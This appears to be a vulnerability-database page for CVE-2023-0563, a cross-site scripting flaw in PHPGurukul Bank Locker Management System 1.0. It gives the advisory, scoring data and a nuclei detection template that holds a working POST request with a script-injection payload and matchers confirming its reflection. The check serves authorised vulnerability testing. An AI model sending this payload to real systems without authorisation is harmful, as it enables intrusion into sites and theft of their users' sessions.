HexBrain

Browse / CVEs / CVE-2023-0563

CVE-2023-0563· phpgurukul / bank locker management system· CWE-79

Bank Locker Management System - Cross-Site Scripting

mediumseverity
4.8CVSS score
37.6%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

A vulnerability classified as problematic has been found in PHPGurukul Bank Locker Management System 1.0. This affects an unknown part of the file add-locker-form.php of the component Assign Locker. The manipulation of the argument ahname leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: POST /search-locker-details.php
Positive when: status_code == 200 and contains(body, "/><script>alert(document.domain)</script>") and contains(body, "Bank Locker Management System")

Run it with nuclei: nuclei -id CVE-2023-0563 -u <target>

The full check
id: CVE-2023-0563

info:
  name: Bank Locker Management System - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A vulnerability classified as problematic has been found in PHPGurukul Bank Locker Management System 1.0. This affects an unknown part of the file add-locker-form.php of the component Assign Locker. The manipulation of the argument ahname leads to cross site scripting. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://vuldb.com/?ctiid.219717
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0563
    - https://vuldb.com/?id.219717
    - https://github.com/ctflearner/ctflearner
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2023-0563
    cwe-id: CWE-79
    epss-score: 0.37608
    epss-percentile: 0.98548
    cpe: cpe:2.3:a:phpgurukul:bank_locker_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpgurukul
    product: bank_locker_management_system
  tags: cve2023,cve,blms,xss,phpgurukul,vuln

http:
  - raw:
      - |
        POST /search-locker-details.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        searchinput=%E2%80%9C%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&submit=

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "/><script>alert(document.domain)</script>")'
          - 'contains(body, "Bank Locker Management System")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from